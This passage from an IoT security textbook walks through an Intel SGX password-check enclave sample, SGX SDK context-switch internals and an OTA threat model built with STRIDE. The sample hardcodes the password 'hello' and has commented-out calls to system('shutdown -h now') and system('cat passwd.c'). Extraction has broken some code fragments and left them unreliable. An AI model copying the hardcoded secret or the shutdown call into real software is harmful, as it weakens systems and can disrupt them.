/* Call sgx_create_enclave to initialize an enclave instance */ /* Debug Support: set 2nd parameter to 1 */ ret = sgx_create_enclave(ENCLAVE_FILENAME, SGX_DEBUG_FLAG, &token, &updated, &global_eid, NULL); if (ret != SGX_SUCCESS) { print_error_message(ret); return -1; } return 0; } /* Application entry */ int SGX_CDECL main(int argc, char *argv[]) { (void)(argc); (void)(argv); struct termios oldt, newt; tcgetattr(0,&oldt); newt = oldt; newt.c_lflag &= ~(ECHO|ICANON); char key[20]={0}; char ch; int i=0; /* Initialize the enclave */ if(initialize_enclave() < 0){ printf("Enter a character before exit ...\n"); getchar(); return -1; } printf("Password verification: Please enter the password!\n"); while(1) { tcsetattr(0, TCSANOW, &newt); scanf("%c",&ch); tcsetattr(0, TCSANOW, &oldt); if(i==20 || ch == '\n') break; key[i] = ch; printf("*"); i++; } printf("\n"); app_ecall_pwd_virify(global_eid,key);
5.3 Intel SGX Technology
251
printf_helloworld(global_eid); /* Destroy the enclave */ sgx_destroy_enclave(global_eid); printf("Info: SampleEnclave successfully returned.\n"); printf("Enter a character before exit ...\n"); getchar(); return 0; } sgx_status_t app_ecall_pwd_virify(sgx_enclave_id_t eid, char* key) { sgx_status_t status; ms_ecall_pwd_virify_t ms; ms.ms_key = key; ms.ms_key_len = key ? strlen(key) + 1 : 0; status = sgx_ecall(eid, 0, &ocall_table_Enclave, &ms); return status; }
The functions and effects of the trusted zone are as follows: 1. void ecall_function(), define a trusted function; 2. Trusted{}, trusted functions, including enclave_ecall_pwd_virify and other functions; 3. untrusted{}, untrusted function; 5.20 shows the core code. Code 5.20 The Core Code of the Trusted Zone /* Enclave.edl - Top EDL file. */ enclave { include "user_types.h" /* buffer_t */ /* Import ECALL/OCALL from sub-directory EDLs. * [from]: specifies the location of EDL file. * [import]: specifies the functions to import, * [*]: implies to import all functions. */ from "Edger8rSyntax/Types.edl" import *; from "Edger8rSyntax/Pointers.edl" import *; from "Edger8rSyntax/Arrays.edl" import *; from "Edger8rSyntax/Functions.edl" import *; from "TrustedLibrary/Libc.edl" import *; from "TrustedLibrary/Libcxx.edl" import ecall_exception, ecall_map; from "TrustedLibrary/Thread.edl" import *;
252
5 Techniques for IoT System Security
/* * ocall_print_string - invokes OCALL to display string buffer inside the enclave. * [in]: copy the string buffer to App outside. * [string]: specifies 'str' is a NULL terminated buffer. */ trusted{ public void enclave_ecall_pwd_virify ([in, string] char *key); int ocall_strcmp([in, string] char *s1,[in, string] char *s2); public void printf_helloworld(); }; untrusted { void ocall_print_string([in, string] const char *str); }; }; /* * printf: * Invokes OCALL to display the enclave buffer to the terminal. */ void printf(const char *fmt, ...) { char buf[BUFSIZ] = {'\0'}; va_list ap; va_start(ap, fmt); vsnprintf(buf, BUFSIZ, fmt, ap); va_end(ap); ocall_print_string(buf); } int ocall_strcmp(char *s1,char *s2) { assert((s1!=NULL) && (s2!=NULL)); while(*s1 == *s2) { if(*s1 == '\0') return 0; ++s1; ++s2; } return *s1 - *s2; } void enclave_ecall_pwd_virify(char *key) { char passwd_true[]="hello"; if(ocall_strcmp(key,passwd_true)==0){ printf("验证成功!\n"); //system("cat passwd.c");
5.3 Intel SGX Technology
253
Fig. 5.31 Failed verification
Fig. 5.32 Successful verification } else{ printf("Failed login!\n"); //system("shutdown -h now"); } } void printf_helloworld() { printf("Verified\n"); }
The program execution is shown in Figs. 5.31 and 5.32.
5.3.4
Introduction to SGX Principle
This section will introduce the principle of SGX by analyzing the functions that the APP program and enclave area in the SGX environment call when communicating. The code quoted in this section comes from version 4.15.0-39-generic of the Linux kernel. The enclave zone created by Intel SGX can be regarded as a trusted execution environment that is quite different from ARM TrustZone. TrustZone is divided into two completely isolated environments (secure world and non-secure world) by the CPU and communicates at the kernel layer of the two isolated environments through SMC instructions; while Intel SGX can run multiple enclaves on one CPU. The
254
5 Techniques for IoT System Security
application can create and initialize enclave resources at the application layer. The application and enclave in the Intel SGX scenario have two characteristics: the application has its own code, data, and enclave; the enclave also contains its own code and its own data; the enclave can access the memory of its application, but the application cannot access the memory of the enclave. Intel has defined 18 related instructions for SGX to switch context and transfer data: 1. ECREATE: Create a new security zone and store the newly defined address space and root of trust in the newly allocated enclave control structure; 2. EREMOVE: Delete the page in the enclave; 3. EINIT: Initialize the enclave area and related security detection; 4. EADD: Add a new page to the enclave area; 5. EBLOCK: Suspend the enclave control structure page; 6. EEXTEND: Extended enclave page cache; 7. EENTER: Enter the enclave; 8. EEXIT: Exit the enclave; 9. ERESUME: Re-enter the enclave; 10. EDEBGRD: Debugger reads data; 11. EDBGWR: Debugger write data; 12. EGETKEY: Create encryption key; 13. EREPORT: Create an encrypted report; 14. ELDB: Load an enclave and suspended control structure page; 15. ELDU: Load an enclave and unsuspended control structure page; 16. EPA: Add version array; 17. EWB: Write back or invalidate the enclave control structure page; 18. ETRACK: Activate the EBLOCK instruction check. This section focuses on the steps and instructions for context switching, namely EENTER and EEXIT. The code used is shown in 5.21. Take the program in Sect. 5.1.3 as an example. After calling ecall_pwd_virify in the main function of the application, first the ecall_pwd_virify function in App/Enclave_u.c will be called, and then the sgx_ecall function in. /linux-sgx/psw/urts/routine.cpp will be called. Code 5.21 SGX Context Switch Core Code 1 static sgx_status_t _sgx_ecall(const sgx_enclave_id_t enclave_id, const int proc, const void *ocall_table, void *ms, const bool is_switchless) { if ((proc != ECMD_RUN_SWITCHLESS_TWORKER) && (proc < 0)) { return SGX_ERROR_INVALID_FUNCTION; } CEnclave* enclave = CEnclavePool::instance()->ref_enclave (enclave_id);
5.3 Intel SGX Technology
255
//If we do not refer to the enclave, the corresponding enclave instance does not exist, so enclave.m_ref is not added; if(!enclave) return SGX_ERROR_INVALID_ENCLAVE_ID; sgx_status_t result = SGX_ERROR_UNEXPECTED; { result = enclave->ecall(proc, ocall_table, ms, is_switchless); } { //This solution seems more readable and easy to validate, but low performance CEnclavePool::instance()->unref_enclave(enclave); } return result; } extern "C" sgx_status_t sgx_ecall(const sgx_enclave_id_t enclave_id, const int proc, const void *ocall_table, void *ms) { return _sgx_ecall(enclave_id, proc, ocall_table, ms, false); }
The enclave area has been initialized before entering the enclave area. The above function call will always enter the application layer code of the enclave area. It is important to return to the CEnclave::ecall function in ./linux-sgx/psw/urts/enclave. cpp first. Code 5.22 SGX Context Switch Core Code 2 sgx_status_t CEnclave::ecall(const int *ocall_table, void *ms, const bool is_switchless) { if(se_try_rdlock(&m_rwlock)) { //Maybe the enclave has been destroyed if(m_destroyed) { se_rdunlock(&m_rwlock); return SGX_ERROR_ENCLAVE_LOST; }
proc,
const
void
//Start the workers of Switchless SGX on the first user-provided ECall if(m_uswitchless != NULL && ocall_table != NULL && m_us_has_started == false) { sl_uswitchless_start_workers(m_uswitchless, static_cast(ocall_table)); m_us_has_started = true; }
256
5 Techniques for IoT System Security
//Do switchless ECall in a switchless way if (m_uswitchless != NULL && is_switchless) { int need_fallback; sgx_status_t ret = sl_uswitchless_do_switchless_ecall (m_uswitchless, (unsigned int) proc, ms, &need_fallback); if (unlikely(need_fallback)) goto on_fallback; se_rdunlock(&m_rwlock); return ret; } on_fallback: //Handle normal ECall or back switchless ECal //do sgx_ecall CTrustThread *trust_thread = get_tcs(proc); unsigned ret = SGX_ERROR_OUT_OF_TCS; if(NULL != trust_thread) { if (NULL == m_ocall_table) { m_ocall_table = (sgx_ocall_table_t *)ocall_table; } if (proc == ECMD_UNINIT_ENCLAVE) { if(m_pthread_is_valid == true) { m_pthread_is_valid = false; se_event_wake(m_new_thread_event); pthread_join(m_pthread_tid, NULL); } ocall_table = m_ocall_table; std::vector threads = m_thread_pool>get_thread_list(); for (unsigned idx = 0; idx < threads.size(); ++idx) { if (trust_thread->get_tcs() == threads[idx]->get_tcs()) { continue; } uint64_t start = (uint64_t)(threads[idx]->get_tcs()); uint64_t end = start + (1 is_EDMM_supported(CEnclave:: get_enclave_id())) { if (SGX_SUCCESS != (ret = get_enclave_creator()->trim_range (start, end)))
5.3 Intel SGX Technology
257
{ se_rdunlock(&m_rwlock); return (sgx_status_t)ret; } } } } ret = do_ecall(proc, ocall_table, ms, trust_thread); } put_tcs(trust_thread); //Release the read/write lock. The enclave has been deleted in ocall, which is regarded as the only exception if(AbnormalTermination() || ret != SE_ERROR_READ_LOCK_FAIL) { se_rdunlock(&m_rwlock); } return error_trts2urts(ret); } else { return SGX_ERROR_ENCLAVE_LOST; } }
Then call the CEnclave::get_tcs function of the file to obtain the trusted thread, and then call the acquire_thread function of the. /linux-sgx/psw/urts/tcs.cpp file. Then call the _acquire_thread function of the file. Code 5.23 SGX Context Switch Core Code 3 CTrustThread * CEnclave::get_tcs(int ecall_cmd) { CTrustThread *trust_thread = m_thread_pool->acquire_thread (ecall_cmd); return trust_thread; } CTrustThread * CTrustThreadPool::_acquire_thread() { //Try to get tcs from thread cache se_thread_id_t thread_id = get_thread_id(); CTrustThread *trust_thread = get_bound_thread(thread_id); if(NULL != trust_thread && m_utility_thread != trust_thread) { return trust_thread; } //Try to get tcs from the release list; trust_thread = get_free_thread(); //If there are no released tcs, useless tcs will be collected. if(NULL == trust_thread)
258
5 Techniques for IoT System Security { if(!garbage_collect()) return NULL; //get tcs from free list again. trust_thread = get_free_thread(); assert(NULL != trust_thread); } //we have got a free tcs. add the tcs to thread cache bind_thread(thread_id, trust_thread); return trust_thread;
} CTrustThread * CTrustThreadPool::acquire_thread(int ecall_cmd) { LockGuard lock(&m_thread_mutex); CTrustThread *trust_thread = NULL; bool is_special_ecall = (ecall_cmd == ECMD_INIT_ENCLAVE) || (ecall_cmd == ECMD_UNINIT_ENCLAVE) ; if(is_special_ecall == true) { if (m_utility_thread) { trust_thread = m_utility_thread; assert(trust_thread != NULL); if(ecall_cmd == ECMD_UNINIT_ENCLAVE) { se_thread_id_t thread_id = get_thread_id(); unbind_thread(thread_id); bind_thread(thread_id, trust_thread); m_utility_thread = NULL; } } else { trust_thread = _acquire_thread(); } } else { trust_thread = _acquire_thread(); //We do not yet support the simulation mode of edmm function //m_utility_thread is NULL in simulation mode if(NULL == trust_thread && NULL != m_utility_thread) { m_need_to_wait_for_new_thread_cond.lock(); m_utility_thread->get_enclave()->fill_tcs_mini_pool_fn(); m_need_to_wait_for_new_thread = true; while(m_need_to_wait_for_new_thread != false) { m_need_to_wait_for_new_thread_cond.wait(); }
5.3 Intel SGX Technology
259
m_need_to_wait_for_new_thread_cond.unlock(); trust_thread = _acquire_thread(); } } if(trust_thread) { trust_thread->increase_ref(); } if(is_special_ecall != true && need_to_new_thread() == true) { m_utility_thread->get_enclave()->fill_tcs_mini_pool_fn(); } return trust_thread; }
Finally, call the do_ecall function and trts_ecall function of the. /linux-sgx/sdk/ trts/trts_ecall.cpp file to enter the application layer program in the enclave area. Code 5.24 sgx Context Switch Core Code 4 sgx_status_t do_ecall(int index, void *ms, void *tcs) { sgx_status_t status = SGX_ERROR_UNEXPECTED; if(ENCLAVE_INIT_DONE != get_enclave_state()) { return status; } thread_data_t *thread_data = get_thread_data(); if( (NULL == thread_data) || ((thread_data->stack_base_addr == thread_data->last_sp) && (0 != g_global_data.thread_policy))) { status = do_init_thread(tcs, false); if(0 != status) { return status; } } status = trts_ecall(index, ms); return status; } static sgx_status_t trts_ecall(uint32_t ordinal, void *ms) { sgx_status_t status = SGX_ERROR_UNEXPECTED; if (unlikely(g_is_first_ecall)) { //To execute the ECall that the global initialization thread cannot nest thread_data_t *thread_data = get_thread_data(); if (thread_data->last_sp != thread_data->stack_base_addr)
260
5 Techniques for IoT System Security { // nested ecall return SGX_ERROR_ECALL_NOT_ALLOWED; }
sgx_spin_lock(&g_ife_lock); if (g_is_first_ecall) { #ifndef SE_SIM if(EDMM_supported) { //Change page permissions size_t enclave_start = (size_t)&__ImageBase; if((status = change_protection((void *)enclave_start)) != SGX_SUCCESS) { sgx_spin_unlock(&g_ife_lock); return status; } } #endif //Call the constructed function of the global object init_global_object(); g_is_first_ecall = false; } sgx_spin_unlock(&g_ife_lock); } void *addr = NULL; status = get_func_addr(ordinal, &addr); if(status == SGX_SUCCESS) { ecall_func_t func = (ecall_func_t)addr; sgx_lfence(); status = func(ms); } return status; } int do_ecall(const int fn, const void *ocall_table, const void *ms, CTrustThread *trust_thread) { int status = SGX_ERROR_UNEXPECTED; #ifdef SE_SIM CEnclave* enclave = trust_thread->get_enclave(); //Check if it is the current pid; it is fork() scheme on the stimulation HW sgx_enclave_id_t eid = enclave->get_enclave_id(); if((pid_t)(eid >> 32) != getpid())
5.3 Intel SGX Technology
261
return SGX_ERROR_ENCLAVE_LOST; #endif tcs_t *tcs = trust_thread->get_tcs(); status = enter_enclave(tcs, fn, ocall_table, ms, trust_thread); return status; }
It is worth mentioning that the first program called is the sgx_ecall_pwd_virify function in the intermediate file Enclave_t.c generated by the compiler before entering the program written by yourself, such as the enclave_ecall_pwd_virify function in Sect. 5.2.3. The most important process is that the switching code occurs in the EENTER_PROLOG function, _SE3 function, enclave_entry function, and enter_enclave function. Only by deeply understanding the code logic of these functions we can realize the essence of sgx context switching. Code 5.25 SGX Context Switch Core Code 5 EENTER_PROLOG movl frame_arg1, %edi /* fn */ #if defined(__x86_64__) /* we defined fn as int, so we do sign extend.*/ movslq %edi, %rdi #endif mov frame_arg3, %xsi /* ms */ .Ldo_eenter: #Clear the higher position of the YMM register lea_symbol g_clean_ymm, %xbx movl (%xbx), %ecx cmpl $0, %ecx je 1f vzeroupper 1: mov frame_arg0, %xbx /* tcs address*/ lea_pic .Lasync_exit_pointer, %xcx /* aep address*/ mov $SE_EENTER, %xax /* EENTER trigger*/ .Leenter_inst: ENCLU // The premise of calling load_regs is the existence of the frame pointer LOAD_REGS_ATTRIBUTES void _SE3(uintptr_t xax, uintptr_t xbx, uintptr_t xcx, uintptr_t xdx, uintptr_t xsi, uintptr_t xdi) { UNUSED(xdx);
262
5 Techniques for IoT System Security switch (xax) { case SE_EENTER: uintptr_t xip; void * enclave_base_addr; se_pt_regs_t* p_pt_regs; tcs_t* tcs; tcs_sim_t* tcs_sim; ssa_gpr_t* p_ssa_gpr; secs_t* secs; CEnclaveMngr* mngr; CEnclaveSim* ce; //xbx contains the address of TCS tcs = reinterpret_cast(xbx); GP_ON_EENTER(!IS_PAGE_ALIGNED(tcs)); mngr = CEnclaveMngr::get_instance(); assert(mngr != NULL); ce = mngr->get_enclave(tcs); GP_ON_EENTER(ce == NULL); GP_ON_EENTER(!ce->is_tcs_page(tcs)); // Check the entrance information tcs_sim = reinterpret_cast(tcs->reserved); GP_ON_EENTER(tcs_sim->tcs_state != TCS_STATE_INACTIVE); GP_ON_EENTER(tcs->cssa >= tcs->nssa); secs = ce->get_secs(); enclave_base_addr = secs->base;
p_ssa_gpr = reinterpret_cast (reinterpret_cast(enclave_base_addr) + static_cast(tcs->ossa) + secs->ssa_frame_size * SE_PAGE_SIZE - sizeof(ssa_gpr_t)); tcs_sim->saved_aep = xcx; p_pt_regs = reinterpret_cast(get_bp()); p_ssa_gpr->REG(bp_u) = p_pt_regs->xbp; p_ssa_gpr->REG(sp_u) = reinterpret_cast(p_pt_regs + 1); xcx = p_pt_regs->xip; xip = reinterpret_cast(enclave_base_addr); GP_ON_EENTER(xip == 0);
5.3 Intel SGX Technology
263
//Set the _tls_array to point to the self_addr of TLS in the enclave GP_ON_EENTER(td_mngr_set_td(enclave_base_addr, tcs) == false); xip += (uintptr_t)tcs->oentry; tcs_sim->tcs_state = TCS_STATE_ACTIVE; // Link tcs to thread GP_ON_EENTER((secs->attributes.flags & SGX_FLAGS_INITTED) == 0); enclu_regs_t regs; regs.xax = tcs->cssa; regs.xbx = reinterpret_cast(tcs); regs.xcx = xcx; regs.xdx = 0; regs.xsi = xsi; regs.xdi = xdi; regs.xbp = p_ssa_gpr->REG(bp_u); regs.xsp = p_ssa_gpr->REG(sp_u); regs.xip = xip; load_regs(®s); // Function returns to enclave return; default: // There's only 1 ring 3 instruction outside the enclave: EENTER. GP(); } } DECLARE_GLOBAL_FUNC enclave_entry /* * --------------------------------------------------------------------* Distribute code based on CSSA and ENENTER reasons * eax > 0 - exception handler * edi >= 0 - ecall * edi == -1 - do_init_enclave * edi == -2 - oret *Register information * We don’t need to use registers during distribution * --------------------------------------------------------------------*/ .cfi_startproc /* Clear unused general registers*/ xor %xdx, %xdx add %xdx, %xdx /* OF = SF = AF = CF = 0; ZF = PF = 1 */ #if defined(LINUX64) xor %r8, %r8 xor %r9, %r9
264
5 Techniques for IoT System Security
xor xor xor xor xor xor #endif
%r10, %r10 %r11, %r11 %r12, %r12 %r13, %r13 %r14, %r14 %r15, %r15
/* switch to trusted stack */ cmp $0, %xax jne .Ldo_handler /* Handling abnormal conditions */ /* xor %xdx, %xdx xdx is cssa and make sure it is 0 */ READ_TD_DATA last_sp cmp $0, %xax jne .Lswitch_stack GET_STACK_BASE %xbx /* if last_sp == 0, set sp to stack base */ sub $STATIC_STACK_SIZE, %xax /* give space for static stack */ .Lswitch_stack: xchg %xsp, %xax push %xcx push %xbp .cfi_def_cfa_offset 2 * SE_WORDSIZE .cfi_offset xbp, -2 * SE_WORDSIZE mov %xsp, %xbp .cfi_def_cfa_register xbp /* Save the registers */ sub $(6*SE_WORDSIZE), %xsp mov %xax, -1*SE_WORDSIZE(%xbp) mov %xdx, -3*SE_WORDSIZE(%xbp) mov %xbx, -4*SE_WORDSIZE(%xbp) mov %xsi, -5*SE_WORDSIZE(%xbp) mov %xdi, -6*SE_WORDSIZE(%xbp)
/* xsp_u */ /* cssa */ /* TCS */ /* XSI */ /* XDI */
#ifdef LINUX64 mov %rdx, %rcx mov %rbx, %rdx #endif call enter_enclave mov %xax, %xbx .Lexit_enclave: /*Clean up extended feature registers*/ lea_pic SYNTHETIC_STATE, %xdi #ifdef LINUX32 mov %xdi, (%xsp) #endif call restore_xregs
5.3 Intel SGX Technology
265
/* set xdi and xsi */ mov $OCMD_ERET, %xdi mov %xbx, %xsi /* restore stack */ mov -1*SE_WORDSIZE(%xbp), %xdx /* xdx: xsp_u */ mov %xbp, %xsp pop %xbp /* xbp_u */ pop %xbx /* ret_u */ mov %xdx, %xsp /* xsp_u */ .Lclear_and_exit_enclave: /* Clear all GPRs, except xax, xbx, xdi and xsi */ xor %xcx, %xcx xor %xdx, %xdx #if defined(LINUX64) xor %r8, %r8 xor %r9, %r9 xor %r10, %r10 xor %r11, %r11 xor %r12, %r12 xor %r13, %r13 xor %r14, %r14 xor %r15, %r15 #endif /* Set status labels to predefined values*/ add %xdx, %xdx /* OF = SF = AF = CF = 0; ZF = PF = 1 */ /* EEXIT */ mov $SE_EEXIT, %xax ENCLU
/* EEXIT leaf */
/* If executed correctly, it will not pass through here*/ ud2 .Ldo_handler: mov %xax, %xdx /* XDX: cssa */ GET_STACK_BASE %xbx /* XAX: static stack, set sp to stack base */ jmp .Lswitch_stack /* Should not come here */ ud2 .cfi_endproc extern "C" int enter_enclave(int index, void *ms, void *tcs, int cssa) { sgx_status_t error = SGX_ERROR_UNEXPECTED;
266
5 Techniques for IoT System Security
if(sgx_is_enclave_crashed()) { return SGX_ERROR_ENCLAVE_CRASHED; } if((ECMD_INIT_ENCLAVE != index) && (ENCLAVE_INIT_DONE != get_enclave_state())) { set_enclave_state(ENCLAVE_CRASHED); return error; } if(cssa == 0) { if((index >= 0) || (index == ECMD_INIT_SWITCHLESS) || (index == ECMD_RUN_SWITCHLESS_TWORKER)) { // Initialize stack guard if necessary init_stack_guard(tcs); error = do_ecall(index, ms, tcs); } else if(index == ECMD_INIT_ENCLAVE) { error = do_init_enclave(ms, tcs); } else if(index == ECMD_ORET) { error = do_oret(ms); } else if(index == ECMD_MKTCS) { error = do_ecall_add_thread(ms); } else if(index == ECMD_UNINIT_ENCLAVE) { error = do_uninit_enclave(tcs); } } else if((cssa == 1) && (index == ECMD_EXCEPT)) { error = trts_handle_exception(tcs); if (check_static_stack_canary(tcs) != 0) { error = SGX_ERROR_STACK_OVERRUN; } } if(error == SGX_ERROR_UNEXPECTED) { set_enclave_state(ENCLAVE_CRASHED); } return error; }
5.4 Security OTA
5.4 5.4.1
267
Security OTA Introduction to OTA
OTA (over the air) plays an important role in the development process of the Internet of Things. The IoT platform supports the upgrade of device firmware through OTA, the common technical means of repairing system vulnerabilities and realizing system upgrades through smart devices, and providing users with better services through firmware upgrades. The OTA firmware upgrade function can not only update the firmware, but also reconfigure on-chip hardware resources. At the same time, the device firmware can obtain updated patches and security algorithms through the OTA firmware upgrade process to prevent Trojan horse attacks. Generally, the OTA upgrade process and steps are as follows: 1. Release the firmware package. 2. Upload the firmware package to the upgrade configuration platform. 3. After the device is connected to the Internet, carry its own version information to request upgrade information. 4. Upgrade the platform to determine whether it needs to be upgraded and issue the upgrade package link. 5. Download the firmware package on the device side. 6. Upgrade the device and report version information. As mentioned in Chap. 4, obtaining device firmware is the first step in studying the security of smart devices. We can download the firmware on the official website or grab the upgrade package through traffic. Analysts will find ways to obtain OTA upgrade packages for reverse analysis in various ways to find vulnerabilities in the firmware. In this chapter, we will thoroughly analyze the security risks and the formulation process of the security plan, in order to make everyone understand the process of security risk elimination.
5.4.2
OTA Threat Modeling
Threat modeling is the process of optimizing system security by identifying target security risks and defining countermeasures to prevent or mitigate system threats. It can quickly and comprehensively identify risks in the system through structuring. Threat modeling aims to understand the ways and means by which an attacker may damage the system to ensure that appropriate security protection functions are prepared. Threat modeling allows the design team to consider security features at the system design stage rather than after the system is released. Because once the system is deployed, it is not feasible to modify the security defense measures of a large number of devices on the spot, because it will cause errors and put customers at risk.
268
5 Techniques for IoT System Security
Fig. 5.33 STRIDE
Microsoft’s security threat modeling framework STRIDE,15 released in 2006 as a common threat modeling, is a combination of the initials of six security threats, including spooling, tampering, repudiation, information disclosure and denial of service. They correspond to six solutions, including authentication, integrity, nonrepudiation, confidentiality, availability, and authorization. STRIDE threat modeling includes: 1. 2. 3. 4.
Model the application. Enumeration threats. Mitigation of threats. Verify mitigation measures.
Only the threat modeling in the design stage involved in the initial design stage can eliminate the threat risk to the greatest extent. Considering the security solution in the design stage and completing the construction of security capabilities through design is lower than adding security functions and modifying the cost after the product is released. When the product quality is improved, the cost of security transformation will become greater and greater, so that the difficulty of eliminating threats will be greater. Compared with early threat modeling and risk elimination, more resources need to be invested in the later stage. When Microsoft proposes threat modeling, it also provides a visual modeling tool, Threat Modeling Tool,16 that can be downloaded and used for free. Modeling uses DFD (data flow data), including data flow, data storage, process, interacting parties, and trust boundaries. Figure 5.33 is an example of a data flow diagram. The elements in Fig. 5.33 include arrows, rectangles, circles, etc.
15 16
https://docs.microsoft.com/en-us/archive/blogs/larryosterman/threat-modeling-again-stride https://docs.microsoft.com/en-us/azure/security/develop/threat-modeling-tool
5.4 Security OTA
269
Fig. 5.34 OTA modeling
Data flow: The one-way arrow refers to the flow of data. The interaction between process and external entities, process and process, or process and data storage. Data storage: The two parallel lines with labels in the middle represent the medium or entity, files, databases, message queues, etc., that store data. Process: The circle represents a task or an execution process and data flows in and out. External entity: As the input or output of a system or product, the rectangle represents the user, software system, or device outside the control range of the system. The rectangles in the data flow diagram represent external entities. Trusted boundary: The red dashed line or rectangle represents the physical boundary or the network boundary. We analyze the system before modeling. First, according to the definition in DFD, find out all the elements involved in the entire process. Data storage includes firmware packages. The download of the firmware package is an independent process that can perform data request and download; the upgrade process of the device loading the upgrade package is a process. The interacting parties include the upgrade configuration platform and IoT devices; the configuration platform and IoT device are independent information parties that can divide the trust boundary. After the element is determined, we can model it and drag the element into the diagram in the tool (Fig. 5.34). Select the “Analysis View” in the tool menu bar and switch it to the risk analysis structure view, where we can see the complete risk types and countermeasures. After selecting each element on the way, the analysis results will show the security risks and countermeasures of the current elements. Moreover, after we click on the entry in the risk list below, the figure will also show the elements corresponding to the current risk (Fig. 5.35). There may be invalid threats that we need to delete in the analysis results. We can also modify the corresponding security plan by ourselves and finally form the best risk list and security plan. Through the tool’s built-in report generation function, we can see the detailed threat content and countermeasures. We
270
5 Techniques for IoT System Security
Fig. 5.35 Threat analysis
can modify the plan and write our own plan to form our own solution. After the final modification of the analysis report, the file in CSV or HTML format can be exported for us to view and follow-up.
5.4.3
Threat Report
Next we will analyze the risks one by one. We select and introduce eight common risk lists from the 30 risk lists in the exported HTML document. The threat list will list the threat name, description, category, possible mitigation measures, etc.: 1. The adversary may gain unauthorized access to the web API due to improper access control checks. Type: Information disclosure Description: The adversary may gain unauthorized access to the Web API due to improper access control checks. Possible mitigation measures: The device should authorize the caller and enable the caller to check whether it has the required permissions to perform the requested operation. SDL stage: Operation 2. Attackers may execute unknown code on IoT devices. Type: Tampering Description: Attackers may execute unknown code on IoT devices. Possible mitigation measures: Ensure that unknown code cannot be executed on the device. SDL stage: Operation 3. Adversaries can access sensitive data stored in web API configuration files. Type: Information disclosure
5.4 Security OTA
4.
5.
6.
7.
8.
271
Description: The opponent can access the configuration file. Sensitive data stored in it will be at risk. Possible mitigation measures: Encrypt the sensitive data of the Web API configuration file. SDL stage: Development Attackers may spoof updates and gain access to web API. Type: Spoofing Description: Without proper authentication, an attacker can spoof the source process or external entity and gain unauthorized access to the web application. Possible mitigation measures: Ensure that the Web API is protected using standard authentication techniques. SDL stage: Design The adversary may tamper the deployed binary. Type: Tampering Description: The adversary may tamper the deployed binary. Possible mitigation measures: Ensure that the binary files of the deployed application are digitally signed. SDL stage: Design The adversary can reverse engineer the deployed binary file. Description: The adversary may reverse engineer the deployed binary. Type: Information disclosure Possible mitigation measures: Please make sure that binary files containing sensitive information are obfuscated. SDL stage: Development Due to the lack of endpoint protection on the device, adversaries may spread malicious software and steal or tamper data. Type: Tampering Description: Due to the lack of endpoint protection on the device, adversaries may spread malicious software, steal, or tamper data. For example, schemes such as stealing users’ laptops, extracting data from hard drives, and inducing users to install malicious software and use unpatched OS. Possible mitigation measures: Ensure that the device has endpoint security controls configured according to organizational policies. SDL stage: Design Adversaries may access sensitive data stored on the host. Type: Information disclosure Description: Adversaries may access sensitive data stored on the host. Possible mitigation measures: Protect user-specific confidential data with an encrypted file system. Ensure that the sensitive data system that the application stores on the file is encrypted. SDL stage: Design
The analysis report not only lists and describes the risks, but also provides different stages of risk elimination, such as the design phase or the development process, to facilitate the phased implementation of risk elimination, avoid unplanned
272
5 Techniques for IoT System Security
and rhythmic security mechanisms and capacity building, to reduce the interference of development personnel.
5.4.4
Security Measures
The threat analysis report describes the risks in the OTA process, which is paid attention to in the function design and development. Chapter 6 will introduce the mature industry solutions of OTA security.
Chapter 6
Solutions for IoT System Security
This chapter will introduce security solutions based on the security framework to enable the terminal, network, and cloud platform of the IoT system to have three functions: identification and authentication; OTA firmware update; and terminal device security protection. If these IoT infrastructure security construction strategies are used appropriately, they will become powerful tools for IoT manufactures to ensure device security.
6.1
Introduction to the Solution
The first to fourth chapters of this book have introduced research methods commonly used by security experts, that is, how to analyze an IoT device from hardware, protocol, and firmware. The complete security analysis process of IoT devices with strict protection schemes is very time-consuming, and it is difficult to find vulnerabilities. Therefore, the construction of the protection scheme is like building the Great Wall. We need to continuously increase the width and height of the Great Wall and repair the defective parts. Typical IoT devices such as smart watches, drones, smartphones, cameras, and routers need to communicate with cloud platforms. The content of the communication includes the following aspects: 1. 2. 3. 4.
Terminal equipment sends real-time operation information to the cloud platform; The cloud platform sends instructions or data to the terminal device; The cloud platform sends data to the mobile APP; The mobile APP sends instructions or data to the cloud platform.
The IoT ecosystem faces many risks in terminals, networks, and clouds. Figure 6.1 shows the three main risks faced by terminal firmware: the firmware is tampered with; the firmware is debugged; and the firmware is simulated. The © The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2021 Q. Tang, F. Du, Internet of Things Security: Principles and Practice, https://doi.org/10.1007/978-981-15-9942-2_6
273
274
6 Solutions for IoT System Security
1. Uart serial port connection debugging 2. Tesla coil 3. Side channel attack 4. Uboot tamper 5. Ultrasonic interference 6. SD card attack 7. Electromagnetic pulse attack
Vehicle
Door Lock
Speaker
TV
Device Security Risks
1. Device authentication authority attack 2. Cloud interface attack 3. Cloud man-in-the-middle attack 4. Cloud specific attacks 5. Distributed denial attack 1. Cellular network hijacking 2. DNS spoofing 3. IPV6 spoofing 4. OTA hijacking 5. GSM SMS hijacking 6. RF sniffing 7. Wi-Fi attack
Communication Security Risks
Cloud
Cloud Security Risks
Fig. 6.1 Security risks faced by the IoT ecosystem
network faces two main risks: data is monitored; data is tampered with. The cloud is mainly threatened by malicious acquisition of user data. Since the production process of the IoT ecosystem includes multiple core roles, such as equipment manufacturers, service providers, network operators, and application developers, we need to avoid the security risks mentioned above and the need for various participants should improve the design, development, and security at all stages of testing. The book after this section will not deliberately distinguish between roles, but will focus on ways to improve security.
6.1.1
Terminal Device
Different IoT terminal devices require protection capabilities corresponding to processing capabilities, memory resources, manufacturing costs, power consumption, and usage. Weak terminal devices such as smart water meters, smart electricity meters, smoke alarms, and smart door sensors with weak processing capabilities, small memory resources, and low power consumption need to reduce costs, but also need to have remote upgrade, password verification, and two-way authentication capabilities. Powerful terminal devices such as gateway products, cameras, speakers, etc. that have strong processing capabilities with operating systems are very important in the IoT ecosystem, and have greater impact after being attacked. In addition to basic security capabilities, they also need to be equipped with security functions such as trusted systems and firmware reinforcement to prevent the device itself from being attacked. Terminal hardware devices that can be directly accessed by users or attackers require improved hardware quality and firmware quality analysis costs, which require a series of security operations in three aspects: physical hardware, operating system, and firmware. Since the storage media of small IoT devices can generally be
6.1 Introduction to the Solution
275
rewritten, the following content assumes that the firmware may have been modified and proposes a protection plan.
6.1.1.1
Hardware
